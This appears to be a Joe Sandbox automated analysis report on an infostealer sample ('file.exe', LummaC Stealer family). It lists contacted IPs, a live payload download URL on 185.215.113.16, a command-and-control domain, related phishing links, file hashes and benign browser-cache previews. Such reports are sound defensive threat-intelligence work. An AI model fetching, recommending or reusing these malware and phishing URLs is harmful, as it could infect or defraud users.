https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000003.1472695243.0000000005685000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1472645947.0000000005681000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_90.12.dr, chromecache_101.12.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000002.1735272102.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675937999.0000000000CCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1676124429.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_109.12.dr	false		high
https://atten-supporse.biz/	file.exe, 00000000.00000003.1513124253.0000000000CED000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1676124429.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://channel9.msdn.com/	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1340890873.00000000056CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1340959783.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	file.exe, 00000000.00000003.1513174027.0000000005683000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1472645947.0000000005681000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.43	s-part-0015.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.21.16.9	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.7
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1567628
Start date and time:	2024-12-03 17:40:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/61@7/8
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 23.218.210.69, 172.217.19.238, 172.217.19.227, 74.125.205.84, 2.20.41.214, 34.104.35.123, 172.217.21.42, 142.250.181.74, 142.250.181.106, 142.250.181.138, 172.217.17.42, 172.217.17.74, 172.217.19.234, 216.58.208.234, 172.217.19.202, 142.250.181.42, 23.32.239.82, 23.32.239.25, 172.217.17.67
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, learn.microsoft.com, time.windows.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, clients.l.google.com, wcpstatic.microsoft.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
11:41:02	API Interceptor	120x Sleep call for process: file.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [] } The provided image does not contain any visible brand logos or brand names. The page appears to be focused on troubleshooting a ".NET Framework application" error message, and does not prominently display any brand information.

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.43	FW_ Fwd_ Voice Mail Message - 5TH Judicial Circuit.eml	Get hash	malicious	Lure-BasedAttack, HTMLPhisher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	VNC Sales.xlsx	Get hash	malicious	Unknown	Browse
	https://midlandtxconstruction.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5VVmliM0U9JnVpZD1VU0VSMTcxMDIwMjRVMDAxMDE3NDA=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
13.107.246.63	4z0JKnfc8L.xlsx	Get hash	malicious	Unknown	Browse
	6PAuIAUnwm.doc	Get hash	malicious	Unknown	Browse
	MOaSkQR8WU.xlsx	Get hash	malicious	Unknown	Browse
	Ksl3V3pqZq.xls	Get hash	malicious	Unknown	Browse
	n19xU1hV2t.doc	Get hash	malicious	Unknown	Browse
	uC8FY7Hvsx.xls	Get hash	malicious	Unknown	Browse
	2112024_RS_GIBANJ -SWIFT.docx.doc	Get hash	malicious	Unknown	Browse
	NEW ORDER #233.xlam.xlsx	Get hash	malicious	Unknown	Browse
	Oder Request &Company profile.xls	Get hash	malicious	Unknown	Browse
	0200011080.xls	Get hash	malicious	Unknown	Browse
185.215.113.16	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
atten-supporse.biz	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
s-part-0035.t-0009.t-msedge.net	MLETdJL8JJ.exe	Get hash	malicious	GuLoader	Browse	13.107.246.63
	beNxougDFV.exe	Get hash	malicious	GuLoader	Browse	13.107.246.63
	4z0JKnfc8L.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	MOaSkQR8WU.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.63
	Ksl3V3pqZq.xls	Get hash	malicious	Unknown	Browse	13.107.246.63
	pbenHWj8JO.exe	Get hash	malicious	ScreenConnect Tool	Browse	13.107.246.63
	lCwus2wfk6.exe	Get hash	malicious	ScreenConnect Tool	Browse	13.107.246.63
	VVs9SAqm5N.exe	Get hash	malicious	ScreenConnect Tool	Browse	13.107.246.63
	YQ3PhY2Aeq.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.63
s-part-0015.t-0009.t-msedge.net	file.exe	Get hash	malicious	XWorm	Browse	13.107.246.43
	file.dll	Get hash	malicious	Unknown	Browse	13.107.246.43
	FW_ Fwd_ Voice Mail Message - 5TH Judicial Circuit.eml	Get hash	malicious	Lure-BasedAttack, HTMLPhisher	Browse	13.107.246.43
	UdY4Kc66Bc.exe	Get hash	malicious	Unknown	Browse	13.107.246.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.43
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.43
	file.exe	Get hash	malicious	Remcos	Browse	13.107.246.43
	zhbEGHo55P.exe	Get hash	malicious	LockBit ransomware	Browse	13.107.246.43
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.43

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	http://www.earthcam.net/refer/refer.php?h=1&t=ai&a=MjAyNDEwVExPTQ==&u=http:%2f%2fhidroregjioni-jugor.com%2fdayo/QNMvj/ZGF2aWRidWxsQGFya2ZpbmFuY2lhbC5jb20=	Get hash	malicious	Unknown	Browse	150.171.27.10
	Audit(s) & Inspection(s) Due and Overdue Notification for Baez Rossy, Jafeth.eml	Get hash	malicious	Unknown	Browse	52.109.28.47
	Infraccion-Multa.msi	Get hash	malicious	AteraAgent	Browse	20.50.88.227
	4z0JKnfc8L.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.63
	6PAuIAUnwm.doc	Get hash	malicious	Unknown	Browse	52.109.76.243
	https://github.com/kernelwernel/VMAware/releases/download/v1.9/vmaware64.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	MOaSkQR8WU.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.63
	Ksl3V3pqZq.xls	Get hash	malicious	Unknown	Browse	13.107.246.63
	n19xU1hV2t.doc	Get hash	malicious	Unknown	Browse	13.69.239.73
	SplpM1fFkV.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
MICROSOFT-CORP-MSN-AS-BLOCKUS	http://www.earthcam.net/refer/refer.php?h=1&t=ai&a=MjAyNDEwVExPTQ==&u=http:%2f%2fhidroregjioni-jugor.com%2fdayo/QNMvj/ZGF2aWRidWxsQGFya2ZpbmFuY2lhbC5jb20=	Get hash	malicious	Unknown	Browse	150.171.27.10
	Audit(s) & Inspection(s) Due and Overdue Notification for Baez Rossy, Jafeth.eml	Get hash	malicious	Unknown	Browse	52.109.28.47
	Infraccion-Multa.msi	Get hash	malicious	AteraAgent	Browse	20.50.88.227
	4z0JKnfc8L.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.63
	6PAuIAUnwm.doc	Get hash	malicious	Unknown	Browse	52.109.76.243
	https://github.com/kernelwernel/VMAware/releases/download/v1.9/vmaware64.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	MOaSkQR8WU.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.63
	Ksl3V3pqZq.xls	Get hash	malicious	Unknown	Browse	13.107.246.63
	n19xU1hV2t.doc	Get hash	malicious	Unknown	Browse	13.69.239.73
	SplpM1fFkV.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
CLOUDFLARENETUS	Document-v15-51-07.js	Get hash	malicious	Unknown	Browse	172.67.146.191
	hnskldjf230.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	Document-v15-51-07.js	Get hash	malicious	Unknown	Browse	172.67.146.191
	3GloGaDtsG.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.6
	#Ud83d#Ude0e.pdf	Get hash	malicious	Porn Scam	Browse	104.21.13.77
	http://www.earthcam.net/refer/refer.php?h=1&t=ai&a=MjAyNDEwVExPTQ==&u=http:%2f%2fhidroregjioni-jugor.com%2fdayo/QNMvj/ZGF2aWRidWxsQGFya2ZpbmFuY2lhbC5jb20=	Get hash	malicious	Unknown	Browse	104.16.123.96
	File.exe	Get hash	malicious	Orcus, Xmrig	Browse	104.26.13.205
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	https://arul.top/01f3c0dpQXFEQ3l5SA1cBmsbOVh3DEM8Q2MgCVMxQxwwUwklUAoIEyISME4rEVI1JVQ1TkURCEBEeUo?_t1733230843322	Get hash	malicious	Phisher	Browse	172.67.208.207
	#Ud83d#Ude0e.pdf	Get hash	malicious	Porn Scam	Browse	188.114.97.6
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	Document-v15-51-07.js	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 23.218.208.109
	https://temp.farenheit.net/XWU9WdXVLQ1BPcVcwN28vNmJmQW9rZy9JbGl2YjNqdU82UXRXbjVuRDE4WHZ2S3E3MTh0U0RLVVRZRjcvL3o0M1ZEZW5HMGQ2cUJ6Q1dmd0d6MzNsK1IwNkc0c1FQTlFkODFpdjI1RE5wTTZrZjNNL2ZlNTNzb3kvbXlTenlUOC94REZCNXJyYzEwcDduQ0JYM1JvQnpTTEhpdHIzWXlMVFh3dnJkNWo5N3JWODhWWVd4MWx5T0pqcUNZQlY3ZHRFTktEUGRLRVR4czR1dTMvY282WURmWGE0TkhiSkd2dkNZOUlGWUE9PS0tVVdmbHMzdlpZZDU2aFdnMy0teWdvSnFiVklFSk13UEoyUlNUQzd4Zz09?cid=2308276595	Get hash	malicious	KnowBe4	Browse	20.109.210.53 13.107.246.63 23.218.208.109
	Document-v15-51-07.js	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 23.218.208.109
	#Ud83d#Ude0e.pdf	Get hash	malicious	Porn Scam	Browse	20.109.210.53 13.107.246.63 23.218.208.109
	http://www.earthcam.net/refer/refer.php?h=1&t=ai&a=MjAyNDEwVExPTQ==&u=http:%2f%2fhidroregjioni-jugor.com%2fdayo/QNMvj/ZGF2aWRidWxsQGFya2ZpbmFuY2lhbC5jb20=	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.109.210.53 13.107.246.63 23.218.208.109
	https://odinling.es/sharep/sharepp/index1.html#info@securusmonitoring.com	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 23.218.208.109
	4z0JKnfc8L.xlsx	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 23.218.208.109
	https://1e87.gnoqwwhpwe.ru/3aeK/#Ddonald.mcclure@identity.digital	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.109.210.53 13.107.246.63 23.218.208.109
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	4z0JKnfc8L.xlsx	Get hash	malicious	Unknown	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	MOaSkQR8WU.xlsx	Get hash	malicious	Unknown	Browse	104.21.16.9
	Ksl3V3pqZq.xls	Get hash	malicious	Unknown	Browse	104.21.16.9
	uC8FY7Hvsx.xls	Get hash	malicious	Unknown	Browse	104.21.16.9
	NEW ORDER #233.xlam.xlsx	Get hash	malicious	Unknown	Browse	104.21.16.9
	EIuz8Bk9kGav2ix.exe	Get hash	malicious	Remcos	Browse	104.21.16.9
	Oder Request &Company profile.xls	Get hash	malicious	Unknown	Browse	104.21.16.9
	0200011080.xls	Get hash	malicious	Unknown	Browse	104.21.16.9

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
